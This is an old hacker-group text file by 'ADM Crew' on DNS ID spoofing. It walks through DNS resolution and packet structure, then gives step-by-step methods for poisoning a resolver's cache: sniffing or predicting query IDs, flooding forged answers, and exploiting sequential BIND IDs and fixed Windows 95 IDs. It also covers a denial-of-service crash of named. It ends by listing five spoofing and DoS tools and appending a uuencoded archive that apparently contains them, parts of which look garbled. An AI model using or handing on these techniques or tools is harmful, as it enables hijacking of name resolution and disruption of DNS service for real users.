```
                    ___      ______     _     _
                  /     \   |   _   \   |  \   /  |
                 |  / \  |  |  | \  |   |   \_/   |
                 | |___| |  |  |_ /  |  |   \_/   |
..oO  THE        |  ---  |  |       /   |  |   |  |       CreW Oo..
                 '''   '''   '''''''    ''''   ''''
                               presents

                           DNS ID Hacking
                         (and even more !!)
                    with colors & in images ;))
```

--[1]-- DNS ID Hacking Presentation

w00w00!
Hi people you might be wondering what DNS ID Hacking (or Spoofing) is.
DNS ID Hacking isn't a usual way of hacking/spoofing such jizz
or any-erect. This method is based on a vulnerability on DNS Protocol.
More brutal, the DNS ID hack/spoof is very efficient is very strong
because there is no generation of DNS daemons that escapes from it (even
WinNT!).

--[1.1]-- DNS Protocol mechanism explanation

In the first step, you must know how the DNS works. I will only explain the
most important facts of this protocol. In order to do that, we will follow
the way of a DNS request packet from A to Z!

1: the client (bla.bibi.com) sends a request of resolution of the domain
"www.heike.com". To resolve the name, bla.bibi.com uses "dns.bibi.com" for
DNS. Let's take a look at the following picture..

```
/---------------------------------\
| 111.1.2.123  =  bla.bibi.com    |
| 111.1.2.222  =  dns.bibi.com    |
| format:                         |
| IP_ADDR:PORT->IP_ADDR:PORT      |
| ex:                             |
| 111.1.2.123:2999->111.1.2.222:53|
\---------------------------------/
...
  gethosbyname("www.heike.com");
...

[bla.bibi.com]                             [dns.bibi.com]
111.1.2.123:1999 --->[?www.heike.com]------> 111.1.2.222:53
```

Here we see our resolution name request from source port 1999 which is
asking to dns on port 53.

[note: DNS is always on port 53]

Now that dns.bibi.com has received the resolution request from bla.bibi.com,
dns.bibi.com will have to resolve the name, let's look at it...

```
[dns.bibi.com]                          [ns.internic.net]
111.1.2.222:53 -------->[dns?www.heike.com]----> 198.41.0.4:53
```

dns.bibi.com asks ns.internic.net who the root name server for the address
of www.heike.com is, and if it doesn't have it and sends the request to a
name server which has authority on '.com' domains.

[note: we ask to internic because it could have this request in its cache]

```
[ns.internic.net]                                      [ns.bibi.com]
198.41.0.4:53 ------>[ns for.com is 144.44.44.4]------> 111.1.2.222:53
```

Here we can see that ns.internic.net answered to ns.bibi.com (which is the
DNS that has authority over the domain bibi.com), that the name server
of for.com has the IP 144.44.44.4 [let's call it ns.for.com]. Now our
ns.bibi.com will ask to ns.for.com for the address of www.heike.com,
but this one doesn't have it and will forward the request to the DNS of
heike.com which has authority for heike.com.

```
[ns.bibi.com]                              [ns.for.com]
111.1.2.222:53 ------>[?www.heike.com]-----> 144.44.44.4:53
```

answer from ns.for.com

```
[ns.for.com]                                              [ns.bibi.com]
144.44.44.4:53 ------>[ns for heike.com is 31.33.7.4]---> 144.44.44.4:53
```

Now that we know which IP address has authority on the domain "heike.com"
[we'll call it ns.heike.com], we ask it what's the IP of the machine www
[www.heike.com then :)].

```
[ns.bibi.com]                              [ns.heike.com]
111.1.2.222:53 ----->[?www.heike.com]----> 31.33.7.4:53
```

And now we at least have our answer!!

```
[ns.heike.com]                                           [ns.bibi.com]
31.33.7.4:53 ------->[www.heike.com == 31.33.7.44] ----> 111.1.2.222:53
```

Great we have the answer, we can forward it to our client bla.bibi.com.

```
[ns.bibi.com]                                             [bla.bibi.com]
111.1.2.222:53 ------->[www.heike.com == 31.33.7.44]----> 111.1.2.123:1999
```

Hehe now bla.bibi.com knows the IP of www.heike.com :)

So.. now let's imagine that we'd like to have the name of a machine from its
IP, in order to do that, the way to proceed will be a little different
because the IP will have to be transformed:

example:
100.20.40.3 will become 3.40.20.100.in-addr.arpa

Attention!! This method is only for the IP resolution request (reverse DNS)

So let's look in practical when we take the IP of www.heike.com (31.33.7.44
or "44.7.33.31.in-addr.arpa" after the translation into a comprehensible
format by DNS).

```
...
   gethostbyaddr("31.33.7.44");
...
```

```
[bla.bibi.com]                                          [ns.bibi.com]
111.1.2.123:2600 ----->[?44.7.33.31.in-addr.arpa]-----> 111.1.2.222:53
```

We sent our request to ns.bibi.com

```
[ns.bibi.com]                                          [ns.internic.net]
111.1.2.222:53 ----->[?44.7.33.31.in-addr.arpa]------> 198.41.0.4:53
```

ns.internic.net will send the IP of a name server which has authority on

'31.in-addr.arpa'.

```
[ns.internic.net]                                             [ns.bibi.com]
198.41.0.4:53 --> [DNS for 31.in-addr.arpa is 144.44.44.4] -> 111.1.2.222:53
```

Now ns.bibi.com will ask the same question to the DNS at 144.44.44.4.

```
[ns.bibi.com]                                          [ns.for.com]
111.1.2.222:53 ----->[?44.7.33.31.in-addr.arpa]------> 144.44.44.4:53
```

and so on...
In fact the mechanism is nearly the same that was used for name
resolution.

I hope you understood the dialog on how DNS works. Now let's study DNS
messages format.

--[1.2]-- DNS packet

Here is the format of a DNS message :

```
    +----------------------------+----------------------------+
    |     ID (the famous :)      |  flags                     |
    +----------------------------+----------------------------+
    |   numbers of questions     | numbers of answer          |
    +----------------------------+----------------------------+
    | number of RR authority  |number of supplementary RR |
    +----------------------------+----------------------------+
    |                                                         |
    \                                                         \
    \                   QUESTION                              \
    |                                                         |
    +---------------------------------------------------------+
    |                                                         |
    \                                                         \
    \                    ANSWER                               \
    |                                                         |
    +---------------------------------------------------------+
    |                                                         |
    \                                                         \
    \                  Stuff  etc..    No matter              \
    |                                                         |
    +---------------------------------------------------------+
```

--[1.3]-- Structure of DNS packets.

__ID__

The ID permits to identify each DNS packet, since exchanges between name
servers are from port 53 to port 53, and more it might be more than one
request at a time, so the ID is the only way to recognize the different DNS
requests. Well talk about it later..

__flags__

The flags area is divided into several parts :

```
       4 bits                    3 bits (always 0)
       |                         |
       |                         |
[QR | opcode | AA| TC| RD| RA | zero | rcode ]
                                         |
 |           |__|__|__|                  |______ 4 bits
 |                    |_ 1 bit
 |
1 bit
```

QR   = If the QR bit = 0, it means that the packet is a question,
otherwise it's an answer.

opcode = If the value is 0 for a normal request, 1 for a reserve request,
and 2 for a status request (we don't need to know all these modes).

AA   = If it's equal to 1, it says that the name server has an
authoritative answer.

TC   = No matter

RD   = If this flag is to 1, it means "Recursion Request", for example
when bla.bibi.com asks ns.bibi.com to resolve the name, the flag
tells the DNS to assume this request.

RA   = If it's set to 1, it means that recursion is available.
This bit is set to 1 in the answer of the name server if it
supports recursion.

Zero   = Here are three zeroes...

rcode = It contains the return error messages for DNS requests
if 0, it means "no error", 3 means "name error"

The 2 following flags don't have any importance for us.

DNS QUESTION:

Here is the format of a DNS question :

```
+-----------------------------------------------------------------------+
|                        name of the question                           |
+-----------------------------------------------------------------------+
|       type of question         |      type of query                   |
+--------------------------------+--------------------------------------+
```

The structure of the question is like this.

example:
www.heike.com will be [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]
for an IP address it's the same thing :)

44.33.88.123.in-addr.arpa would be:
[2|4|4|2|3|3|2|8|8|3|1|2|3|7|i|n|-|a|d|d|r|4|a|r|p|a|0]
[note]: a compression format exists, but we won't use it.

type of question:

Here are the values that we will use most times:
[note]: There are more than 20 types of different values(!) and I'm fed
up with writing :))

name	value		
A	1	IP Address	(resolving a name to an IP)
PTR	12	Pointer	(resolving an IP to a name)

type of query:

The values are the same than the type of question

 (i don't know if it's true, but the goal is not to learn you DNS protocol
 from A to Z, for it you should look at the RFC from 1033 to 1035 and 1037,
 here the goal is a global knowledge in order to put it in practice !!)

DNS ANSWER:

The answers have a format that we call RR.. but we don't mind :)

Here is the format of an answer (an RR)

```
+------------------------------------------------------------------------+
|      name of the domain                                                |
+------------------------------------------------------------------------+
|   type                              |    class                         |
+-------------------------------------+----------------------------------+
|                           TTL (time to live)                           |
+------------------------------------------------------------------------+
| resource data length       |                                           |
|----------------------------+                                           |
|                       resource data                                    |
+-------------------------------------------------------------------------
```

name of the domain:

The name of the domain in reports to the following resource:
The domain name is stored in the same way that the part question for the
resolution request of www.heike.com, the flag "name of the domain" will
contain [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]

type:

The type flag is the same than "type of query" in the question part of the
packet.

class:
The class flag is equal to 1 for Internet data.

time to live:
This flag explains in seconds the time-life of the informations into the
name server cache.

resource data length:
The length of resource data, for example if resource data length is 4, it
means that the data in resources data are 4 bytes long.

resource data:
here we put the IP for example (at least in our case)

I will offer you a little example that explains this better:

Here is what's happening when ns.bibi.com asks ns.heike.com for
www.heike.com's address

ns.bibi.com:53 ---> [?www.heike.com] ----> ns.heike.com:53 (Phear Heike ;)

```
+---------------------------------+--------------------------------------+
|   ID = 1999                     | QR = 0 opcode = 0 RD = 1             |
+---------------------------------+--------------------------------------+
| numbers of questions = htons(1) | numbers of answers = 0               |
+---------------------------------+--------------------------------------+
| number of RR authoritative = 0  | number of supplementary RR = 0       |
+---------------------------------+--------------------------------------+
<the question part>
+---------------------------------------------------------------------+
|   name  of the question = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]           |
+---------------------------------------------------------------------+
|  type of question = htons(1)    |      type of query=htons(1)       |
+---------------------------------+-----------------------------------+
```

here is for the question.

now let's stare the answer of ns.heike.com

```
ns.heike.com:53 -->[IP of www.heike.com is 31.33.7.44] --> ns.bibi.com:53

+---------------------------------+--------------------------------------+
|   ID = 1999                     | QR=1 opcode=0 RD=1  AA =1  RA=1      |
+---------------------------------+--------------------------------------+
| numbers of questions = htons(1) | numbers of answers = htons(1)        |
+---------------------------------+--------------------------------------+
| number of RR authoritative = 0  | number of supplementary RR = 0       |
+---------------------------------+--------------------------------------+
+------------------------------------------------------------------------+
|   name  of the question = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]              |
+------------------------------------------------------------------------+
|   type of question = htons(1)   |      type of query = htons(1)        |
+------------------------------------------------------------------------+
+------------------------------------------------------------------------+
|   name of the domain = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]                 |
+------------------------------------------------------------------------+
|       type        = htons(1)    |      class    = htons(1)             |
+------------------------------------------------------------------------+
|                        time to live = 999999                           |
+------------------------------------------------------------------------+
| resource data length = htons(4) | resource data=inet_addr("31.33.7.44") |
+------------------------------------------------------------------------+
```

Yah! That's all for now :))

Here is an analysis:
In the answer QR = 1 because it's an answer :)
AA = 1 because the name server has authority in its domain
RA = 1 because recursion is available

Good =) I hope you understood that cause you will need it for the following events.

--[2.0]-- DNS ID hack/spoof

Now it's time to explain clearly what DNS ID hacking/spoofing is.
Like I explained before, the only way for the DNS daemon to recognize the different questions/answers is the ID flag in the packet. Look at this example:

```
ns.bibi.com;53 ----->[?www.heike.com] ------> ns.heike.com:53
```

So you only have to spoof the ip of ns.heike.com and answer your false information before ns.heike.com to ns.bibi.com!

```
ns.bibi.com <------- . . . . . . . . . . .  ns.heike.com
                   |
                   |<--[IP for www.heike.com is 1.2.3.4]<-- hum.roxor.com
```

But in practice you have to guess the good ID :) If you are on a LAN, you can sniff to get this ID and answer before the name server (it's easy on a Local Network :)

If you want to do this remotely you don't have a lot a choices, you only have 4 basics methods:

1.) Randomly test all the possible values of the ID flag. You must answer before the ns ! (ns.heike.com in this example). This method is obsolete unless you want to know the ID .. or any other favorable condition to its prediction.

2.) Send some DNS requests (200 or 300) in order to increase the chances of falling on the good ID.

3.) Flood the DNS in order to avoid its work. The name server will crash and show the following error!

```
>> Oct 06 05:18:12 ADM named[1913]: db_free: DB_F_ACTIVE set - ABORT
   at this time named daemon is out of order :)
```

4.) Or you can use the vulnerability in BIND discovered by SNI (Secure Networks, Inc.) with ID prediction (we will discuss this in a bit).

##################### Windows ID Vulnerability ###########################

I found a heavy vulnerability in Windows 95 (I haven't tested it on WinNT), lets imagine my little friend that's on Windows 95.
Windows ID's are extremely easy to predict because it's "1" by default :)))
and "2" for the second question (if they are 2 questions at the same time).

######################## BIND Vulnerability ##############################

There is a vulnerability in BIND (discovered by SNI as stated earlier).
In fact, DNS IS are easily predictable, you only have to sniff a DNS in order to do what you want. Let me explain...

The DNS uses a random ID at the beginning but it only increase this ID for next questions ... =)))

It's easy to exploit this vulnerability.
Here is the way:

1. Be able to sniff easily the messages that comes to a random DNS (ex. ns.dede.com for this sample).

2. You ask NS.victim.com to resolve (random).dede.com. NS.victim.com will ask to ns.dede.com to resolve (random).dede.com

```
   ns.victim.com ---> [?(rand).dede.com ID = 444] ---> ns.dede.com
```

3. Now you have the ID of the message from NS.victim.com, now you know what ID area you'll have to use. (ID = 444 in this sample).

4. You then make your resolution request. ex. www.microsoft.com to NS.victim.com

```
   (you) ---> [?www.microsoft.com] ---> ns.victim.com

   ns.victim.com --> [?www.microsoft.com ID = 446 ] --> ns.microsoft.com
```

5. Flood the name server ns.victim.com with the ID (444) you already have and then you increase this one.

```
 ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 444] --> ns.victim.com
 ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 445] --> ns.victim.com
 ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 446] --> ns.victim.com
 ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 447] --> ns.victim.com
 ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 448] --> ns.victim.com
 ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 449] --> ns.victim.com
```

(now you know that DNS IDs are predictable, and they only increase. You flood ns.victim.com with spoofed answers with the ID 444+ ;)

*** ADMsnOOfID does this.

There is another way to exploit this vulnerability without a root on any DNS

The mechanism is very simple. Here is the explaination

We send to ns.victim.com a resolution request for *.provnet.fr

```
(you) ----------[?(random).provnet.fr] -------> ns.victim.com
```

Then, ns.victim.com asks ns1.provnet.fr to resolve (random).provnet.fr. There is nothing new here, but the interesting part begins here.

From this point you begin to flood ns.victim.com with spoofed answers (with ns1.provnet.fr IP) with ids from 100 to 110...

```
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=100] --> ns.victim.com
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=101] --> ns.victim.com
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=102] --> ns.victim.com
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=103] --> ns.victim.com
.....
```

After that, we ask ns.victim.com if (random).provnet.fr has an IP.

If ns.victim.com give us an IP for (random).provnet.fr then we have found the correct ID :) Otherwise we have to repeat this attack until we find the ID. It's a bit long but it's effective. And nothing forbides you to do this with friends ;)

This is how ADMnOg00d works ;)

###

```
Here you will find 5 programs
ADMkillDNS  - very simple DNS spoofer
ADMsniffID  - sniff a LAN and reply false DNS answers before the NS
ADMsnOOfID  - a DNS ID spoofer (you'll need to be root on a NS)
ADMnOg00d   - a DNS ID predictor (no need to be root on a NS)
ADNdnsfuckr - a very simple denial of service attack to disable DNS
```

Have fun!! :)
Note: You can find source and binaries of this progs at ftp.janova.org/pub/ADM. I'm going to make a little HOWTO soon, which would be on janova. You need to install libpcap on your machine before any compilation of the ADMID proggies :)

ADM Crew.

Thanks to: all ADM crew, Shok, pirus, fyber, Heike, and w00w00 (gotta love these guys)
Special Thanks: ackboo, and of course Secure Networks, Inc. (SNI) at www.secnet.com for finding the vulnerability =)

```
/* I'm a w00w00ify'd w00c0w */
/* I'm a w00w00ify'd w00c0w */
/* I'm a w00w00ify'd w00c0w */
```

```
begin 644 ADMid-pkg.tgz
M'XL(`/,IN30``^P\:U?;UI;]&O^&^;#C66ELK!C9QQI#BBBQ#BBF#BN;=CBCIBQ0CIYCIZC1W4[@D
M(5E>PA98Q99<2<:0+.:WS][[/"7+ARSK0D[5T3I<72>9^SWWN?<WJ[[_9WI][@
M:OV[+_;`AKO5;L-W0(^;^Y4?L+G1WFRT6YM;#8"&VVXUOX/VEQN2>69)ZL4`
MW\51E*XJ=U_^O^G3T_!/XL$7PH'/@K^+[XU&J]'X!O^O\63ACU\ODFD47=0'
MC]A'PW4W-S:6PG^KU6P*^+L;+;=-]-JN0A_]Q''L/3Y?P[_];5'>M9+ZVVL`
MB$#`"!2$EP!Q-$N#T(>+*!:I,!M.X;Z'FWJT40&4_G/H7]`P]H_^OGM\LO\_
M>]Q-$GSTHXM*DL:S0OK!=#2,J[KHS[MVV6Q1G(,H&X2#\6SHPZLD'091?;23
M31H'Y]FT61A@<C9MXD^B^);2[,JWR7IZ._637)N8G$2#*S]=3)][04%J$`W2
M<4$CJ9<K'/KI\'PA"5<B70_"3'HYF-9'9>L;EX,22H\'-`FY];42K$$0]@=7
MR6P"+U[0)[P>^>+;1J[],/5C'"P<Q5$:#:(Q7'B38'P+(]\;^G$"E=?P"_X&
M45@M/2J"R;&69F$27(;^$))1%*=ZU!5O.(P=&/O4+SZSOLA?H_0.)P5A2OF=
MTB?^C/U+Q!(_YO1P[%^DT!7YF5S=T!RS36.9VK1*77`[F9Z],)ECODCG'%IG
MICLXG,7@C2^C.$A'$P@21/S)=.P[,$N(GCUH->$\P#8&@]ED-O927/H*]E)U
M8.[3*%1#B?_;S`_3P!M#8Y.KS*-XF$`:09.(Q_\<.@@",=#.$<A
MA+V/*5FU,_#B^);J)W`11Q.ND493V6A"LXPX<1S1I&1RO:3X"/W,1\'8AXI8
MRAUH5`'$2C-EXQ+5NKB*M5I')XJB+[K0%&EW>J%@@IW/IC@!B(8XY-L4%R>X
M@-`?^$GBX5AEIY@F>^QVJ4O3XUIEUA^,4.2L52O?"V!4$1I6\APZ^?&)<@NC
M\89RV<0Z(4&H=;+6"%<(5T=_R@$*W"#@P0XNRF85:N+K>W!O+O"I=E0/HX`J
MFV:L%FJ9)CJ:A<N:8EBRO$:\_\4:IJ@JC[PU''@IP3<_UMA/9W%8D8O5*97N
MD-N4&,61^?03Q*%*XB1,:D/^B\(F3IVA^.NEWF7L3?B%.'E5K)_\RX0B%UP3
M\3@B\948NLIG#8NR!(%QW\59ORN+@6T)/5#CS%<5CQH\L8F2%$0D"V@<_2!$
M2D4.(=-!2#-J-9A:J4)P82J^=`S'4B-9HSX*TDD[]?.>Y8>Y\:%3HZ6(=81
M"$E.&&")4#&9JJC3@9(4^*:@B25JHAB-V8$;@T(:T%9>,9]AJ+1+-JH8+&#0F5'K
MJ"9`*@L[KB/B'*18NKZA__EC)U2`'J%N1A&PXWY4;@?1!]!%G$L]PPT0)+$SFC'E^*D-Q9
MJ"^[@?!1D\7Q`%^ZN%P9/O91DHJ2(1&I(%4!%(4]OY.1T@3L<\GK.%/TQHDVEO_.
M@1\<[P[@6$,Z9>J'UL_HXS\KSK:=`0:\S0:Q0Z#TXB!D[0U&D`T@`?S0@Y`,&%\]B-,SP-&:0=O\\5=BVO\Q-`6X\<7XY\GRYZL0W`=&PU@%<4GQJ/:-M;`%2L.:_@Q8`@TWD`'/&2?[\-B_R95$.`0ZP+.U0(P\+8UB@J`25\7FKM9&FUKFB1#]NQ_GLCRR&@/G5;Y1A]N1VYJL0BT,1K67JR@[@WM*PI]/4%^#*&=RN@:K!>7V\'KP+`0'O(P;!M.=KV0``Z;,G!2#C!]3#\D;"N4I]D$R7.^AE0E-0.M*:;SN8QG>RP>2W%AJ[AM-?>L6-(V7H$!W#
M)\-FB\5O/YY8<ZU"<!8@TF9^6EB#]_&\0F.=C\"U:T%>4_-$20;$)[7MO/5@1M<;<;ZA<1GG'&SE=1\FI+[DV7S-<4@1-
M9>.[5\^_8*O3"*IM[YW-*R+27]S_Y_=A=&EB+\,;WL?IF`OZ/.[I9S:[]S5O
M\?;N(H4(#F#\(9MS?3IT$/ZN>-I]H;M%20N$]%!8\6!BM>L,]%]V5+TG/95[-'HS]V5\:M=B(ZOX5.5:)-&N9<L*[=[@+I8?[4B:>-\9J4Q5.#;4(&5>?-'9P\N=1"'1_]/>\"_Q#@*YO=JPF"(+4E1;K-*Y2G1HE@WGG!*,SR*MO85-!?MZ7]B&*6YX?1F)C5XB%$]\K2S'4SE#58\>;?-`&[BC7*+.`!HX!H7FR-LHJG/A=\ROW8PN/VU;HC6N3\5E*+7BOGX9EX*.L!8H?7F#WF$7BI_XL;K:'UH8WSD>_2QTB`:)K)!C;XW6:Y+%?%4=\L^Y!R9[F50D1+TBGX3ZXM-[MWV[34V`0$7KT*PN7QR=>"G=R7;[PQ,?_O%H7@,[*LB@H?TG;7QQ+RS7&#UPHUAPB3_NA7=B2B/7+D5_]2PH6C&?,V9(P.R/1K@2(I=!9I%K]PS8/&JX%^%I7BMKJ$"8O7=)'K!-5OW!]7EJYA9'[(B\#=3@A9=X%BPQ?1$T&@HQ5JF=0'V9ZKG+(-;J1Q"/L3O>/DUGQ"!MIS0`HDGC%3Q_YS=%AO5JB>.7GCHS+KAF.*Q(?+Q=O[9G`_V(`MY//<'Y$@TIP\/#:;GLO^`@&5-J]_8#BAHQ\XR#:-&R.P<9>.5H"6WXU?%U/PW?H&BOR.+=N;OA,D9>T(6H'%`Q%9\9J[J+8DTUCW
MK)4.NMG5XB8EZG)+@37`H!ODQM,Q$%L<1%"MBHX6<6Q)A5I35%F8(I9E3<DJ
MNJ&*_B">%:V^S+:ZL:+5ALMENUHE"Z10E;B%)43UNP(0D\)8#&0MFS,$A"CV
M2.3S>Y#@/O`K(&80H)+'@!70E.!?-N+E\/\BX-=.6S%\@H@:?7;"A`,&8`;N
M;FVQZAWQ%58[R+7UV\Q/TB`*U7"3/FD>\F-('TO8NU+FAV%"SNXU_,76A1XR
MN[@X:PA?>L:E`I(C\6\4=AOR-8F]N>0_%7KO"C=217KQG)/#U__H'_?^Z2CG
M*+Y76=%DHTG@[]2/8Y2895%7RD#_)D@KHI#AV=016A8IE8RF*7?I:,?K_A&]
M]]'PVC]X_=8R$2)C5$1H4EC]/W9[-!\]'=VNF%)N1@A+7'D[^J``4F4XR&A#
M5W=;H=2:L2RK1M?##*U?X3O+!&S-.+&[L(E624W9E1V1^UNL<EV9$NOR#9GB
M>?DRB'C]D"-TAG!$97^:R7`Q(^C:N@=+/\&C"!D[)1,B
```